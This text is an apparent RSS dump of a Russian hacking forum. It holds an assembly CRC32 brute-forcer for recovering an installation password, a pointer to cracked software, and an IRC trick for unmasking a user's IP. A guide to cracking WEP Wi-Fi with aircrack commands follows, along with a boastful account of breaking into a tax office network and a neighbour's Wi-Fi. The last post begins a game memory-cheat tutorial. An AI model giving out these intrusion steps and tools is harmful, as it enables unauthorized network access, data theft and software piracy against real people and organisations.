						&lt;p&gt; Код:&lt;br /&gt; ;=====================================================================&lt;br /&gt; format pe gui&lt;br /&gt; include &#039;%fasminc%\win32a.inc&#039;&lt;br /&gt; ;=====================================================================&lt;br /&gt; first = &#039;0&#039;&lt;br /&gt; flast = &#039;z&#039; +1&lt;br /&gt; ;=====================================================================&lt;br /&gt; serial rb 1024&lt;br /&gt; crc32_table dd 000000000h, 077073096h, 0EE0E612Ch, 0990951BAh, 0076DC419h, 0706AF48Fh, 0E963A535h, 09E6495A3h, 00EDB8832h, 079DCB8A4h&lt;br /&gt; dd 0E0D5E91Eh, 097D2D988h, 009B64C2Bh, 07EB17CBDh, 0E7B82D07h, 090BF1D91h, 01DB71064h, 06AB020F2h, 0F3B97148h, 084BE41DEh&lt;br /&gt; dd 01ADAD47Dh, 06DDDE4EBh, 0F4D4B551h, 083D385C7h, 0136C9856h, 0646BA8C0h, 0FD62F97Ah, 08A65C9ECh, 014015C4Fh, 063066CD9h&lt;br /&gt; dd 0FA0F3D63h, 08D080DF5h, 03B6E20C8h, 04C69105Eh, 0D56041E4h, 0A2677172h, 03C03E4D1h, 04B04D447h, 0D20D85FDh, 0A50AB56Bh&lt;br /&gt; dd 035B5A8FAh, 042B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 032D86CE3h, 045DF5C75h, 0DCD60DCFh, 0ABD13D59h, 026D930ACh, 051DE003Ah&lt;br /&gt; dd 0C8D75180h, 0BFD06116h, 021B4F4B5h, 056B3C423h, 0CFBA9599h, 0B8BDA50Fh, 02802B89Eh, 05F058808h, 0C60CD9B2h, 0B10BE924h&lt;br /&gt; dd 02F6F7C87h, 058684C11h, 0C1611DABh, 0B6662D3Dh, 076DC4190h, 001DB7106h, 098D220BCh, 0EFD5102Ah, 071B18589h, 006B6B51Fh&lt;br /&gt; dd 09FBFE4A5h, 0E8B8D433h, 07807C9A2h, 00F00F934h, 09609A88Eh, 0E10E9818h, 07F6A0DBBh, 0086D3D2Dh, 091646C97h, 0E6635C01h&lt;br /&gt; dd 06B6B51F4h, 01C6C6162h, 0856530D8h, 0F262004Eh, 06C0695EDh, 01B01A57Bh, 08208F4C1h, 0F50FC457h, 065B0D9C6h, 012B7E950h&lt;br /&gt; dd 08BBEB8EAh, 0FCB9887Ch, 062DD1DDFh, 015DA2D49h, 08CD37CF3h, 0FBD44C65h, 04DB26158h, 03AB551CEh, 0A3BC0074h, 0D4BB30E2h&lt;br /&gt; dd 04ADFA541h, 03DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 04369E96Ah, 0346ED9FCh, 0AD678846h, 0DA60B8D0h, 044042D73h, 033031DE5h&lt;br /&gt; dd 0AA0A4C5Fh, 0DD0D7CC9h, 05005713Ch, 0270241AAh, 0BE0B1010h, 0C90C2086h, 05768B525h, 0206F85B3h, 0B966D409h, 0CE61E49Fh&lt;br /&gt; dd 05EDEF90Eh, 029D9C998h, 0B0D09822h, 0C7D7A8B4h, 059B33D17h, 02EB40D81h, 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 09ABFB3B6h&lt;br /&gt; dd 003B6E20Ch, 074B1D29Ah, 0EAD54739h, 09DD277AFh, 004DB2615h, 073DC1683h, 0E3630B12h, 094643B84h, 00D6D6A3Eh, 07A6A5AA8h&lt;br /&gt; dd 0E40ECF0Bh, 09309FF9Dh, 00A00AE27h, 07D079EB1h, 0F00F9344h, 08708A3D2h, 01E01F268h, 06906C2FEh, 0F762575Dh, 0806567CBh&lt;br /&gt; dd 0196C3671h, 06E6B06E7h, 0FED41B76h, 089D32BE0h, 010DA7A5Ah, 067DD4ACCh, 0F9B9DF6Fh, 08EBEEFF9h, 017B7BE43h, 060B08ED5h&lt;br /&gt; dd 0D6D6A3E8h, 0A1D1937Eh, 038D8C2C4h, 04FDFF252h, 0D1BB67F1h, 0A6BC5767h, 03FB506DDh, 048B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch&lt;br /&gt; dd 036034AF6h, 041047A60h, 0DF60EFC3h, 0A867DF55h, 0316E8EEFh, 04669BE79h, 0CB61B38Ch, 0BC66831Ah, 0256FD2A0h, 05268E236h&lt;br /&gt; dd 0CC0C7795h, 0BB0B4703h, 0220216B9h, 05505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 02BB45A92h, 05CB36A04h, 0C2D7FFA7h, 0B5D0CF31h&lt;br /&gt; dd 02CD99E8Bh, 05BDEAE1Dh, 09B64C2B0h, 0EC63F226h, 0756AA39Ch, 0026D930Ah, 09C0906A9h, 0EB0E363Fh, 072076785h, 005005713h&lt;br /&gt; dd 095BF4A82h, 0E2B87A14h, 07BB12BAEh, 00CB61B38h, 092D28E9Bh, 0E5D5BE0Dh, 07CDCEFB7h, 00BDBDF21h, 086D3D2D4h, 0F1D4E242h&lt;br /&gt; dd 068DDB3F8h, 01FDA836Eh, 081BE16CDh, 0F6B9265Bh, 06FB077E1h, 018B74777h, 088085AE6h, 0FF0F6A70h, 066063BCAh, 011010B5Ch&lt;br /&gt; dd 08F659EFFh, 0F862AE69h, 0616BFFD3h, 0166CCF45h, 0A00AE278h, 0D70DD2EEh, 04E048354h, 03903B3C2h, 0A7672661h, 0D06016F7h&lt;br /&gt; dd 04969474Dh, 03E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 040DF0B66h, 037D83BF0h, 0A9BCAE53h, 0DEBB9EC5h, 047B2CF7Fh, 030B5FFE9h&lt;br /&gt; dd 0BDBDF21Ch, 0CABAC28Ah, 053B39330h, 024B4A3A6h, 0BAD03605h, 0CDD70693h, 054DE5729h, 023D967BFh, 0B3667A2Eh, 0C4614AB8h&lt;br /&gt; dd 05D681B02h, 02A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 05A05DF1Bh, 02D02EF8Dh&lt;br /&gt; ;=====================================================================&lt;br /&gt; buffer rb 1024&lt;br /&gt; result rb 1024&lt;br /&gt; filename db &#039;bruteforce.log&#039;,0&lt;br /&gt; complete db &#039;брутфорс окончен!&#039;,13,10&lt;br /&gt; size = $-complete&lt;br /&gt; align 1024&lt;br /&gt; ;=====================================================================&lt;br /&gt; entry $&lt;br /&gt; invoke CreateFile,filename,GENERIC_READ+GENERIC_WRITE,\&lt;br /&gt; FILE_SHARE_READ+FILE_SHARE_WRITE,0,CREATE_ALWAYS,\&lt;br /&gt; FILE_ATTRIBUTE_NORMAL,0&lt;br /&gt; mov ebp,eax&lt;br /&gt; mov eax,-4*8&lt;br /&gt; @@: mov dword[serial+4*8+eax],first&lt;br /&gt; mov dword[serial+4*8+eax+4],first&lt;br /&gt; add eax,4*2&lt;br /&gt; jnz @b&lt;br /&gt; ;=====================================================================&lt;br /&gt; @0: mov ecx,dword[serial+4*0]&lt;br /&gt; xor ecx,0xff&lt;br /&gt; mov eax,dword[crc32_table+ecx*4]&lt;br /&gt; xor eax,0x00ffffff&lt;br /&gt; mov dword[buffer+4*0],eax&lt;br /&gt; @1: mov ecx,dword[serial+4*1]&lt;br /&gt; xor ecx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ecx,0xff&lt;br /&gt; xor eax,dword[crc32_table+ecx*4]&lt;br /&gt; mov dword[buffer+4*1],eax&lt;br /&gt; @2: mov ecx,dword[serial+4*2]&lt;br /&gt; xor ecx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ecx,0xff&lt;br /&gt; xor eax,dword[crc32_table+ecx*4]&lt;br /&gt; mov dword[buffer+4*2],eax&lt;br /&gt; @3: mov ecx,dword[serial+4*3]&lt;br /&gt; xor ecx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ecx,0xff&lt;br /&gt; xor eax,dword[crc32_table+ecx*4]&lt;br /&gt; mov dword[buffer+4*3],eax&lt;br /&gt; @4: mov ecx,dword[serial+4*4]&lt;br /&gt; xor ecx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ecx,0xff&lt;br /&gt; xor eax,dword[crc32_table+ecx*4]&lt;br /&gt; mov dword[buffer+4*4],eax&lt;br /&gt; @5: mov ecx,dword[serial+4*5]&lt;br /&gt; xor ecx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ecx,0xff&lt;br /&gt; xor eax,dword[crc32_table+ecx*4]&lt;br /&gt; mov dword[buffer+4*5],eax&lt;br /&gt; @6: mov ecx,dword[serial+4*6]&lt;br /&gt; xor ecx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ecx,0xff&lt;br /&gt; xor eax,dword[crc32_table+ecx*4]&lt;br /&gt; ;=====================================================================&lt;br /&gt; mov ebx,eax&lt;br /&gt; shr eax,8&lt;br /&gt; and ebx,0xff&lt;br /&gt; xor eax,not 0x0a463daa ; not(CRC32(пароль инсталляции))&lt;br /&gt; mov ecx,first&lt;br /&gt; @@: mov edx,ebx&lt;br /&gt; xor edx,ecx&lt;br /&gt; cmp eax,dword[crc32_table+edx*4]&lt;br /&gt; jz @found&lt;br /&gt; inc ecx&lt;br /&gt; cmp ecx,flast&lt;br /&gt; jnz @b&lt;br /&gt; ;=====================================================================&lt;br /&gt; @next: inc dword[serial+4*6]&lt;br /&gt; cmp dword[serial+4*6],flast&lt;br /&gt; mov eax,dword[buffer+4*5]&lt;br /&gt; jnz @6&lt;br /&gt; mov dword[serial+4*6],first&lt;br /&gt; inc dword[serial+4*5]&lt;br /&gt; cmp dword[serial+4*5],flast&lt;br /&gt; mov eax,dword[buffer+4*4]&lt;br /&gt; jnz @5&lt;br /&gt; mov dword[serial+4*5],first&lt;br /&gt; inc dword[serial+4*4]&lt;br /&gt; cmp dword[serial+4*4],flast&lt;br /&gt; mov eax,dword[buffer+4*3]&lt;br /&gt; jnz @4&lt;br /&gt; mov dword[serial+4*4],first&lt;br /&gt; inc dword[serial+4*3]&lt;br /&gt; cmp dword[serial+4*3],flast&lt;br /&gt; mov eax,dword[buffer+4*2]&lt;br /&gt; jnz @3&lt;br /&gt; mov dword[serial+4*3],first&lt;br /&gt; inc dword[serial+4*2]&lt;br /&gt; cmp dword[serial+4*2],flast&lt;br /&gt; mov eax,dword[buffer+4*1]&lt;br /&gt; jnz @2&lt;br /&gt; mov dword[serial+4*2],first&lt;br /&gt; inc dword[serial+4*1]&lt;br /&gt; cmp dword[serial+4*1],flast&lt;br /&gt; mov eax,dword[buffer+4*0]&lt;br /&gt; jnz @1&lt;br /&gt; mov dword[serial+4*1],first&lt;br /&gt; inc dword[serial+4*0]&lt;br /&gt; cmp dword[serial+4*0],flast&lt;br /&gt; jnz @0&lt;br /&gt; jmp exit&lt;br /&gt; ;=====================================================================&lt;br /&gt; @found: mov dword[serial+7*4],ecx&lt;br /&gt; xor ecx,ecx&lt;br /&gt; @@: mov eax,dword[serial+ecx*4]&lt;br /&gt; mov byte[result+ecx],al&lt;br /&gt; inc ecx&lt;br /&gt; cmp ecx,8&lt;br /&gt; jnz @b&lt;br /&gt; mov word[result+ecx],0x0a0d&lt;br /&gt; invoke WriteFile,ebp,result,10,esp,0&lt;br /&gt; jmp @next&lt;br /&gt; ;=====================================================================&lt;br /&gt; exit: invoke WriteFile,ebp,complete,size,esp,0&lt;br /&gt; invoke CloseHandle,ebp&lt;br /&gt; invoke ExitProcess,0&lt;br /&gt; ;=====================================================================&lt;br /&gt; data import&lt;br /&gt; library kernel32,&#039;kernel32.dll&#039;&lt;br /&gt; include &#039;%fasminc%\apia\kernel32.inc&#039;&lt;br /&gt; end data&lt;br /&gt; ;=====================================================================&lt;br /&gt; Вот один из брутфорсов: находит всевозможные подходящие варианты на этот хэш (На наше счастье, их может быть несколько) скорость примерно 20 млн\сек! Этот Брутфорс написал LAZAR.&lt;/p&gt;
						&lt;p&gt; Вот еще один.. Вроде бы он побыстрее:&lt;br /&gt; Еще один брутфорс&lt;/p&gt;
						&lt;p&gt; Все это добро компелируется фасмом! (flat assembler, fasm)&lt;/p&gt;
						&lt;p&gt; также есть и способы попроще для задач поменьше.. Раз уж статья написана с подачи Ирц, то грех не воспользоваться возможностями Ирц. В ирц есть отличный бот, который декодирует небольшие коды.&lt;/p&gt;
						&lt;p&gt; Имя бота - robo! Пробив его по хуису узнала, что живет он на каналах: #topki, #nothing, #moi-alizee, #freeware, #orsk, #boltalka, #mytest, #kashenizm, #, #myxo4ka, #fleur.&lt;/p&gt;
						&lt;p&gt; Команда такая: .dh (то, что зашифровано) - в ответ выдается сообщение нотисом. С ирц вроде разобрались..&lt;/p&gt;
						&lt;p&gt; Но есть еще полезные функции.. например связанные с архивами:&lt;/p&gt;
						&lt;p&gt; Архивы.. у вас никогда не было такого, что архив поврежден, или неожиданный конец архива? Вот у меня было - попробую и в этом разобраться..&lt;/p&gt;
						&lt;p&gt; Но вот выкладываю программку, которая восстанавливает архивы, точнее архиватор считает архив целым засчет изменения сrс32 хэша! Что самым прямым образом относится к теме:&lt;/p&gt;
						&lt;p&gt; RAR Repair Tool 3.1 (Shareware, но прога крякнутая ))&lt;br /&gt; Ключевые возможности Rar Repair Tool:&lt;br /&gt; - восстановление RAR и SFX архивов, созданных любой версией RAR;&lt;br /&gt; - восстановление многотомных архивов;&lt;br /&gt; - независимо от размера файлов (4 Gb и более);&lt;br /&gt; - обработка нескольких архивов по списку;&lt;br /&gt; - полная автоматизация процесса восстановления;&lt;br /&gt; - поддержка Drag&amp;amp;Drop;&lt;br /&gt; Сама прога тут&lt;/p&gt;
						&lt;p&gt; А теперь я попытаюсь обьяснить принцип работы:&lt;/p&gt;
						&lt;p&gt; архиватор - тоже вещь написанная людьми, и они повреждаются при транспартировке, неправильной упаковке. В crc32 коде могут быть ошибки при упаковке. Что приводит к повреждению архива.. С форматом RAR самой частой является ошибка с повреждением циклического кода.. То есть код при упаковке\распаковке не совпадает с исходным. Программы, которые восстанавливают архивы как-бы &amp;quot;восстанавливают&amp;quot; или &amp;quot;собирают&amp;quot; поврежденный код.. В итоге файлы можно извлечь.. Конечно без потерь может не обойтись, но это лучше чем ничего!&lt;/p&gt;
						&lt;p&gt; Ну вот примерно мы разобрались в коде crc32! поврежден архив? Восстановим.. нужен IP врага в ирц - а он гад шифруется? Получим... Но перед использованием надо знать примерный принцип работы для того, чтобы не быть юзерами, которые кликают по экрану мышкой в поисках ответа.. Удачи вам в ваших происках )&lt;br /&gt; Изначально цель методик обнаружения ошибок была в том, чтобы дать возможность получателю сообщения, передаваемому по зашумленному каналу, определить, не было ли оно испорчено. Для этого отправитель формировал значение, именуемое контрольной суммой (&amp;quot;checksum&amp;quot; - КС), как функцию от сообщения и добавлял его к сообщению, получатель, используя ту же самую функцию, мог посчитать КС полученного сообщения и в случае равенства, считать сообщение безошибочно принятым. Самый первый алгоритм подсчета КС был очень прост: все байты сообщения суммировались (отсюда и пошло название &amp;lt;контрольная сумма&amp;gt;) по модулю степени двойки. Главное достоинство этого метода - простота, главный недостаток - ненадежность. Например, он не &amp;lt;замечает&amp;gt; перестановки байт местами.&lt;/p&gt;
						&lt;p&gt; Высокую степень безопасности данных обеспечивают алгоритмы контроля за достоверностью информации, использующие циклические избыточные коды (Cyclic Redundancy Code - CRC).&lt;/p&gt;
						&lt;p&gt; Использование CRC представляет собой сверхмощный метод обнаружения ошибок.&lt;br /&gt; Авторам изученной мной литературы ;-) известны три различных теоретических аспекта расчета CRC, приводящих на практике к идентичным результатам:&lt;/p&gt;
						&lt;p&gt; матричная запись циклического кода,&lt;br /&gt; метод деления на образующий полином над полем GF(2) и&lt;br /&gt; способ образования CRC с помощью регистра сдвига с обратными связями.&lt;/p&gt;
						&lt;p&gt; Именно последний способ удобен с вычислительной точки зрения - особенно если разрядность компьютера равна (или кратна) длине сдвигового регистра.&lt;/p&gt;
						&lt;p&gt; Для простоты считайте CRC остатком от деления БОЛЬШОГО бинарного числа (передаваемых данных) на &amp;lt;магическое&amp;gt; число, в зависимости от разряда старшего бита этого числа выделяют CRC16 и CRC32.&lt;/p&gt;
						&lt;p&gt; Теория этого дела весьма обширна и хорошо описана в литературе, но думаю, большинство читателей этой статьи гораздо больше волнует её практическая реализация.&lt;/p&gt;
						&lt;p&gt; Алгоритм получения CRC32 такой:&lt;/p&gt;
						&lt;p&gt; 1. CRC-32 инициализируется значением $FFFFFFFF&lt;br /&gt; 2. Для каждого байта &amp;quot;B&amp;quot; входной последовательности CRC-32 сдвигается вправо на 1 байт. Если байты CRC-32 были [C1,C2,C3,C4] (C1 - старший, C4 - младший), сдвиг дает [0,C1,C2,C3]. Младший байт C4 побитно складывается с B по модулю 2 (C4 xor B). Новым значением CRC-32 будет его сдвинутое значение, сложенное побитно по модулю 2 (xor) с 4-байтовой величиной из &amp;quot;магической&amp;quot; таблицы с использованием [B xor C4] в качестве индекса.&lt;/p&gt;
						&lt;p&gt; Было:&lt;br /&gt; CRC-32 = [C1,C2,C3,C4] и получили очередной байт B.&lt;/p&gt;
						&lt;p&gt; Стало:&lt;br /&gt; CRC-32 = [0,C1,C2,C3] xor Magic[B xor C4].&lt;/p&gt;
						&lt;p&gt; PAS: { CRC - LongWord, Magic - array[byte] of LongWord}&lt;br /&gt; CRC := (CRC shr 8) xor Magic[B xor byte(CRC and $FF)];&lt;/p&gt;
						&lt;p&gt; 3. Инвертировать все биты: CRC:= NOT CRC; &lt;/p&gt;
						&lt;p&gt; Код на паскале:-)&lt;/p&gt;
						&lt;p&gt; Const&lt;br /&gt; Crc32Init = $FFFFFFFF;&lt;br /&gt; Crc32Polynomial = $EDB88320;&lt;/p&gt;
						&lt;p&gt; Var&lt;br /&gt; CRC32Table: array [Byte] of Cardinal;&lt;/p&gt;
						&lt;p&gt; function Crc32Next (Crc32Current: LongWord; const Data; Count: LongWord):&lt;br /&gt; LongWord; register;&lt;br /&gt; Asm file://EAX - CRC32Current; EDX - Data; ECX - Count&lt;br /&gt; test ecx, ecx&lt;br /&gt; jz @@EXIT&lt;br /&gt; PUSH ESI&lt;br /&gt; MOV ESI, EDX file://Data&lt;/p&gt;
						&lt;p&gt; @@Loop:&lt;br /&gt; MOV EDX, EAX // copy CRC into EDX&lt;br /&gt; LODSB // load next byte into AL&lt;br /&gt; XOR EDX, EAX // put array index into DL&lt;br /&gt; SHR EAX, 8 // shift CRC one byte right&lt;br /&gt; SHL EDX, 2 // correct EDX (*4 - index in array)&lt;br /&gt; XOR EAX, DWORD PTR CRC32Table[EDX] // calculate next CRC value&lt;br /&gt; dec ECX&lt;br /&gt; JNZ @@Loop // LOOP @@Loop&lt;br /&gt; POP ESI&lt;br /&gt; @@EXIT:&lt;br /&gt; End;//Crc32Next&lt;/p&gt;
						&lt;p&gt; function Crc32Done (Crc32: LongWord): LongWord; register;&lt;br /&gt; Asm&lt;br /&gt; NOT EAX&lt;br /&gt; End;//Crc32Done&lt;/p&gt;
						&lt;p&gt; &amp;lt;Магическую&amp;gt; таблицу можно хранить в исполняемом файле, но мы, как настоящие программисты, будем формировать её в run-time:&lt;/p&gt;
						&lt;p&gt; function Crc32Initialization: Pointer;&lt;br /&gt; Asm&lt;br /&gt; push EDI&lt;br /&gt; STD&lt;br /&gt; mov edi, OFFSET CRC32Table+ ($400-4) // Last DWORD of the array&lt;br /&gt; mov edx, $FF // array size&lt;/p&gt;
						&lt;p&gt; @im0:&lt;br /&gt; mov eax, edx // array index&lt;br /&gt; mov ecx, 8&lt;br /&gt; @im1:&lt;br /&gt; shr eax, 1&lt;br /&gt; jnc @Bit0&lt;br /&gt; xor eax, Crc32Polynomial // &amp;lt;магическое&amp;gt; число - тоже что у&lt;br /&gt; ZIP,ARJ,RAR,:&lt;br /&gt; @Bit0:&lt;br /&gt; dec ECX&lt;br /&gt; jnz @im1&lt;/p&gt;
						&lt;p&gt; stosd&lt;br /&gt; dec edx&lt;br /&gt; jns @im0&lt;/p&gt;
						&lt;p&gt; CLD&lt;br /&gt; pop EDI&lt;br /&gt; mov eax, OFFSET CRC32Table&lt;br /&gt; End;//Crc32Initialization&lt;/p&gt;
						&lt;p&gt; Для удобной работы добавим функцию подсчета Crc32 для Stream&#039;a:&lt;/p&gt;
						&lt;p&gt; function Crc32Stream (Source: TStream; Count: Longint): LongWord;&lt;br /&gt; var&lt;br /&gt; BufSize, N: Integer;&lt;br /&gt; Buffer: PChar;&lt;br /&gt; Begin&lt;br /&gt; Result:=Crc32Init;&lt;br /&gt; if Count = 0 then begin&lt;br /&gt; Source.Position:= 0;&lt;br /&gt; Count:= Source.Size;&lt;br /&gt; end;&lt;/p&gt;
						&lt;p&gt; if Count &amp;gt; IcsPlusIoPageSize then BufSize:= IcsPlusIoPageSize else&lt;br /&gt; BufSize:= Count;&lt;br /&gt; GetMem(Buffer, BufSize);&lt;br /&gt; try&lt;br /&gt; while Count &amp;lt;&amp;gt; 0 do begin&lt;br /&gt; if Count &amp;gt; BufSize then N := BufSize else N := Count;&lt;br /&gt; Source.ReadBuffer(Buffer^, N);&lt;br /&gt; Result:=Crc32Next(Result,Buffer^,N);&lt;br /&gt; Dec(Count, N);&lt;br /&gt; end;&lt;br /&gt; finally&lt;br /&gt; Result:=Crc32Done(Result);&lt;br /&gt; FreeMem(Buffer);&lt;br /&gt; end;&lt;br /&gt; End;//Crc32Stream&lt;/p&gt;
						&lt;p&gt; Получаемый на выходе CRC32 совпадает с генерируемым такими программами как PkZip, ARJ, RAR и многими другими.&lt;/p&gt;
						&lt;p&gt; И, конечно, тестовая программка:&lt;/p&gt;
						&lt;p&gt; program Crc32;&lt;br /&gt; {$APPTYPE CONSOLE}&lt;br /&gt; uses&lt;br /&gt; SysUtils,Classes,IcsPlus;&lt;/p&gt;
						&lt;p&gt; var&lt;br /&gt; FS: TFileStream;&lt;br /&gt; Crc: LongWord;&lt;/p&gt;
						&lt;p&gt; Begin&lt;br /&gt; if ParamCount&amp;lt;&amp;gt;1 then begin&lt;br /&gt; WriteLn(&#039;Crc32 v1.0 Copyright © 2001 by Andrew P.Rybin&lt;br /&gt; [magicode@mail.ru]&#039;);&lt;br /&gt; WriteLn(&#039; Usage: crc32 filename&#039;);&lt;br /&gt; EXIT;&lt;br /&gt; end;&lt;/p&gt;
						&lt;p&gt; Crc32Initialization;&lt;br /&gt; FS:= TFileStream.Create(ParamStr(1),fmOpenRead);&lt;br /&gt; try&lt;br /&gt; Crc:=Crc32Stream(FS,0);&lt;br /&gt; WriteLn(&#039;Crc: &#039;,IntToHex(Crc,8),&#039; = &#039;,Crc);&lt;br /&gt; finally&lt;br /&gt; FS.FREE;&lt;br /&gt; end;&lt;br /&gt; End.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:10:16 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=6#p6</guid>
		</item>
		<item>
			<title>Взлом Wi-Fi</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=5#p5</link>
			<description>&lt;p&gt;Взлом Wi-Fi WPA за 15 минут&lt;br /&gt; Если WEP-шифрование в беспроводных сетях Wi-Fi сегодня уже не является серьёзной преградой для профессиональных взломщиков, то схемы WPA и WPA2 до последнего времени считались достаточно надёжными. Но любая система защиты рано или поздно подвергается компрометации, и шифрование WPA/WPA2 исключением не стало. Как отмечает источник, эти схемы шифрования также оказались уязвимыми. Специалисты по безопасности заявили, что им удалось найти способ осуществить частичный взлом Wi-Fi сети с защитой WPA за считанные минуты. Данная атака будет детально рассмотрена на конференции PacSec, которая пройдёт в Токио в ближайшее время. Хакеры покажут, как можно перехватить данные, отправленные в защищённой Wi-Fi сети от маршрутизатора к компьютеру пользователя. Из известных на сегодня данных отметим, что взломщикам удалось скомпрометировать TKIP-ключ (Temporal Key Integrity Protocol) всего за 15 минут. До сих пор такую атаку осуществляли, в основном, с помощью перебора по словарю, что требовало слишком много времени и огромных вычислительных ресурсов. Хакеры предложили несколько иной подход. Они организовывают массовую отправку пробных запросов на устройства с Wi-Fi контроллером, а также используют некоторые свои математические наработки в области криптографии.&lt;/p&gt;
						&lt;p&gt;Взлом Wi-Fi сетей это просто&lt;/p&gt;
						&lt;p&gt; Для начала немного теории. Как уже известно взломать можно всё, ничто не может быть идеально и как сказал шекспир &amp;quot;Ничто не вечно под луной!&amp;quot; Так и в случае с Wi-Fi сетями. Всё поддаётся напористости и умению! Главное и основное что первым делом надо запомнить это ТЕРПЕНИЕ и ХОЛОДНОЕ сердце. Могу вас обрадовать, в нашей великой и могучнй державе не найдётся ни одной точки доступа Wi-Fi которую нельзя было бы взломать! Вся фишка в том, что большинство фирм и предприятий используют стандартное WEP шифрование, которое в свою очередь является как бы стандартным, а что все мы (или не все) знаем про &amp;quot;стандартные&amp;quot; штуки...ПРАВИЛЬНО! В стандарте много дыр=&amp;gt;легко ломаются!&lt;/p&gt;
						&lt;p&gt; И так от теории к практике.&lt;/p&gt;
						&lt;p&gt; Так как я не особо знаю как будет лучше я опишу пошагово как ломаетъся сеть одного государственного учереждения (ну вернее как я ломал Wi-Fi сеть налоговой Началось всё с нежелания платить за И-НЕТ. Вот я и подумал а нельзя ли найти ХАляву...Надумал я вот что: Налоговоя гос.учреждение=&amp;gt; у них есть и-нет, притом за который они не платят. Я потопал с ноутом к месту &amp;quot;X&amp;quot;. Нашёл рядом лавочку и стал искать сеть. Нашёл я её быстро (кстати использовал сканер под названием aircrack-ng-0.9.1) Далее моя радость не знала границЪ, когда я увидел что пароли зашифрованы (в чём бы вы думали?) конечно в стандарте т.е использовался 5-ти значный WEP ключ :-) Тут дело встало за малым, за перебором паролей. !ИНФО! Чаще всего используются пароли по типу Abc ABC 123---Именно эти &amp;quot;галочки&amp;quot; я и поставил в переборщике паролей. Подбирались они около 3-х часов :-) (главное терпение! прим.spl0_it) Так что лучше иметь свой транспорт и уметь вязать дабы убить время. После правильно &lt;br /&gt; подобраных паролей я получил SUPER-Админский доступ ко всем компам в сети!!! Вот он кайф, когда можно сливать всю инфу и т.п да что там инфу, я пару раз даже играл с &amp;quot;налами&amp;quot; в Quake 2!&lt;/p&gt;
						&lt;p&gt; Чтобы начать делать деньги в интернете, надо за этот самый интернет вначале заплатить, а что делать если платить нечем? Получается замкнутый круг, выйти из которого можно лишь путем круглосуточного просиживания в кафе с wifi, либо воспользовавшись этой статьей про то, как взломать беспроводную сеть вашего соседа. Если она зашифрована WEP, то на сам процесс взлома wifi уйдет всего несколько минут. Итак, как же взломать wifi?&lt;/p&gt;
						&lt;p&gt; Сначала нам понадобится программа aircrack 2.4. Есть еще и другие разновидности этой программы, например aircrack ng, однако она требует знания Linux, поэтому в данном руководстве будет рассказано о том как взломать беспроводную сеть при помощи именно aircrack 2.4.&lt;/p&gt;
						&lt;p&gt; Однако помимо просто установки программы, вам возможно придется обновить свой сетевой драйвер на специальный, содержащий один chipset&#039; ов, под которые заточена программа, однако все они есть в интернете, а определить нужный вам драйвер поможет readme файл, находящийся в архиве программы. Установили? Теперь переходим непосредственно к процедуре взлома.&lt;/p&gt;
						&lt;p&gt; Запустив программу airdump, мы выбираем нашу сетевую карту и задаем имя файла, куда будут записываться перехваченные сетевые пакеты, чем больше и сложнее ключ зашифрования, тем дольше уйдет времени на его расшифровку, однако в случае с wep, оно вряд ли превысит 5-10 минут. В итоге мы получаем ivs файл с зашифрованными пакетами, заняться расшифровкой которых можно в принципе и параллельно их перехватыванию.&lt;/p&gt;
						&lt;p&gt; Для этого в командной строке (c:\WINDOWS\system32\cmd.exe) запустим приложение aircrack (aircrack.exe –b 00:13:46:1C:A4:5F –n 64 –i 1 capture.ivs), c параметрами в виде МАС адреса точки доступа «-b 00:13:46:1C:A4:5F», длины используемого ключа шифрования «-n 64», индексу ключа «-i 1» и файлу, в который записались наши перехваченные пакеты данных «capture.ivs». Если длина ключа и его индекс неизвестны,можно просто вбить aircrack.exe capture.ivs. В итоге вы увидите пароль к сети, и отныне сможете взломать любую беспроводную сеть с WEP шифрованием в радиусе действия&lt;br /&gt; Внимание, использование данной информации на практике может быть наказуемо законом. Данная статья написана с долей иронии и не призывает к действию, а целью данной информации является предостеречь всех пользователей вай фай о возможностях атаки на их точку доступа интернета.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:07:25 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=5#p5</guid>
		</item>
		<item>
			<title>Трейнер на Delphi(Создаём чит для кс)</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=4#p4</link>
			<description>&lt;p&gt;Для создания читов тебе понадобятся 3 вещи:&lt;br /&gt;1. Delphi какой-нибудь последней версии.&lt;br /&gt;2. ArtMoney.&lt;br /&gt;3. Прямые руки.&lt;br /&gt;Для начала ты должен разузнать кое-что о гаме.&lt;br /&gt;1. Название окна. Ну, название окна каждый ламер находить умеет, тут уметь-то ничего не надо.&lt;br /&gt;2. Адрес в памяти. Чтобы нам что-то изменить в памяти, нам нужно нужно конкретно знать где и че изменять. Поэтому мы сначала найдем адрес в памяти, а потом уже все хекнем. Его ты найдешь с помощью специальной проги – ArtMoney. (можно также GameHack или что-то такое).&lt;br /&gt;Как им&amp;#160; пользоваться думаю разберётесь.&lt;/p&gt;
						&lt;p&gt;Здесь я приведу пример создания чита для Counter-Strike’a v1.3, т.к. по-моему это самая популярная игра. Чит нам будет жизней до фига делать! Единственное, что плохо – он будет работать только если ты создал сервак и если у тебя Software Video Mode. Можно сделать и под OpenGl, но там адреса другие, потому что эти режимы занимают разное количество памяти.&lt;br /&gt;Мы будем использовать вот эти API функции (почитай о них в справке):&lt;br /&gt;Код:&lt;br /&gt;FindWindow&lt;br /&gt;GetWindowThreadProcessId&lt;br /&gt;OpenProcess&lt;br /&gt;ReadProcessMemory&lt;br /&gt;WriteProcessMemory&lt;br /&gt;CloseHandle&lt;/p&gt;
